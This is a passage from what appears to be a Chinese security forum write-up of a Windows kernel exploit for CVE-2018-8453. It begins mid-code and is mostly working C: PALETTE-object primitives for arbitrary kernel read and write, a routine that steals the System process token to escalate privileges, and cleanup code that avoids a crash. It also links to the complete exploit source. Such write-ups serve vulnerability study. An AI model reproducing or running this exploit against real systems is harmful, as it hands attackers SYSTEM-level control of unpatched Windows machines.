			if (hAccel[i])
			{
				DestroyAcceleratorTable(hAccel[i]);
				hAccel[i] = NULL;
			}
			else break;
		}
	}

exit:
	return org_fnDWORD(arg0);
}

在触发漏洞之前可以看到,创建的两个0x800大小的PALETTE对象的第一个PALETTE对象的cEntries为原来的大小:

触发漏洞,进行两次-1操作以后,就被扩大成一个很大的值:

此时就可以通过函数越界读写相邻的那个PALETTE对象的pFirstColor指针来实现任意地址读写了,相应代码如下:

BOOL SetPaletteTarget(HPALETTE hManager, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress)
{
	BOOL bRet = TRUE;

	// 设置要读写的内存地址
	if (!SetPaletteEntries(hManager, dwStart, dwEntries, (PPALETTEENTRY)&pTargetAddress))
	{
		bRet = FALSE;
		ShowError("SetPaletteEntries", GetLastError());
		goto exit;
	}
exit:
	return bRet;
}

ULONG64 ReadDataByPalette(HPALETTE hManager, HPALETTE hWorker, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress)
{
	ULONG64 ulData = 0;

	if (!SetPaletteTarget(hManager, dwStart, dwEntries, pTargetAddress))
	{
		goto exit;
	}

	if (!GetPaletteEntries(hWorker, 0, dwEntries, (PPALETTEENTRY)&ulData))
	{
		ShowError("GetPaletteEntries", GetLastError());
		goto exit;
	}

exit:
	return ulData;
}

BOOL WriteDataByPalette(HPALETTE hManager, HPALETTE hWorker, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress, ULONG64 ulValue)
{
	BOOL bRet = TRUE;

	if (!SetPaletteTarget(hManager, dwStart, dwEntries, pTargetAddress))
	{
		bRet = FALSE;
		goto exit;
	}

	if (!SetPaletteEntries(hWorker, 0, dwEntries, (PPALETTEENTRY)&ulValue))
	{
		bRet = FALSE;
		ShowError("SetPaletteEntries", GetLastError());
		goto exit;
	}

exit:
	return bRet;
}

五.运行结果

可以进行任意地址读写,就可以通过修改Token来实现提权:

BOOL EnablePrivilege_CVE_2018_8453(HPALETTE hManager, HPALETTE hWorker)
{
	BOOL bRet = TRUE;
	DWORD dwEntries = sizeof(ULONG64) / sizeof(PALETTEENTRY);
	DWORD dwFirstColorOffset = 0x78;
	DWORD dwStart = (0x800 - 0x88 + dwFirstColorOffset) / 4;

	// 获取System进程的EPROCESS
	ULONG64 ulSystemEprocess = GetSystemEprocessByPalette(hManager, hWorker, dwStart, dwEntries);
	if (!ulSystemEprocess)
	{
		bRet = FALSE;
		goto exit;
	}
	
	DWORD CONST dwPIDOffset = 0x2E0, dwLinksOffset = 0x2E8, dwTokenOffset = 0x358;
	ULONG64 ulPID = GetCurrentProcessId(), ulCurPID = 0, ulCurEprocess = ulSystemEprocess;
	
	// 获取当前进程EPROCESS
	do {
		ulCurEprocess = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwLinksOffset));
		ulCurEprocess -= dwLinksOffset;
		ulCurPID = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwPIDOffset));
	} while (ulPID != ulCurPID);

	ULONG64 ulToken = 0;
	
	// 将system进程的token赋给当前进程
	ulToken = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulSystemEprocess + dwTokenOffset));
	WriteDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwTokenOffset), ulToken);

exit:
	return bRet;
}

由于触发漏洞的时候,xxxSBTrackInit会释放掉MenuName所指的内存,为了防止在进程退出,释放资源的时候再次对其进行释放导致双重释放,就需要通过前面在g_ulMenuName中保存的地址修改为NULL来解决该问题,对应代码如下:

BOOL ReapairData_CVE_2018_8453(HPALETTE hManager, HPALETTE hWorker)
{
	BOOL bRet = TRUE;
	ULONG64 ulValue = 0;
	DWORD i = 0;

	DWORD dwEntries = sizeof(ULONG64) / sizeof(PALETTEENTRY);
	DWORD dwFirstColorOffset = 0x78;
	DWORD dwStart = (0x800 - 0x88 + dwFirstColorOffset) / 4;
	for (i = 0; i < 0x400; i++)
	{
		if (g_ulMenuName_2018_8453[i])
		{
			if (!WriteDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)g_ulMenuName_2018_8453[i], (ULONG64)ulValue))
			{
				printf("reapair wrong\n");
				bRet = FALSE;
				goto exit;
			}
		}
		else break;
	}

exit:
	return bRet;
}

完整的代码保存在:https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2018-8453.cpp。运行程序就可以成功提权,且退出程序的时候不会产生BSOD错误:

六.参考资料


[2022夏季班]《安卓高级研修班(网课)》月薪两万班招生中~

最后于 2天前 被1900编辑 ,原因:
收藏
点赞1
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/08/12 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (1)
雪    币: 172
活跃值: 活跃值 (3535)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
suuuuu 活跃值 5天前
2
0
每日一阅,提神醒脑
游客
登录 | 注册 方可回帖
返回